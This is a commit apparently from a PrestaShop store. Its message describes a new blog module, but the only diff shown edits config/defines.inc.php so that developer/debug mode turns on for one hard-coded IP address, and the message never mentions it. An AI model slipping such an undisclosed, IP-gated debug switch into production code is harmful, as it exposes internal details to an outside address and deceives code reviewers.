Add Project-Pro Blog module with initial SQL setup, CSS styles, and template files

- Created SQL installation scripts for categories and posts tables.
- Added uninstall scripts to drop the created tables.
- Introduced CSS styles for blog layout, including responsive design for posts and categories.
- Implemented PHP redirection in index files to prevent direct access.
- Developed Smarty templates for blog category tree, post list, and individual post details.
- Ensured proper caching headers in PHP files to enhance performance.

config/defines.inc.php

@@ -26,7 +26,11 @@
 
 /* Debug only */
 if (!defined('_PS_MODE_DEV_')) {
-define('_PS_MODE_DEV_', false);
+  if ( $_SERVER['REMOTE_ADDR'] === '91.189.216.43' ) {
+        define('_PS_MODE_DEV_', true);
+    } else {
+        define('_PS_MODE_DEV_', false);
+    }
 }
 /* Compatibility warning */
 define('_PS_DISPLAY_COMPATIBILITY_WARNING_', false);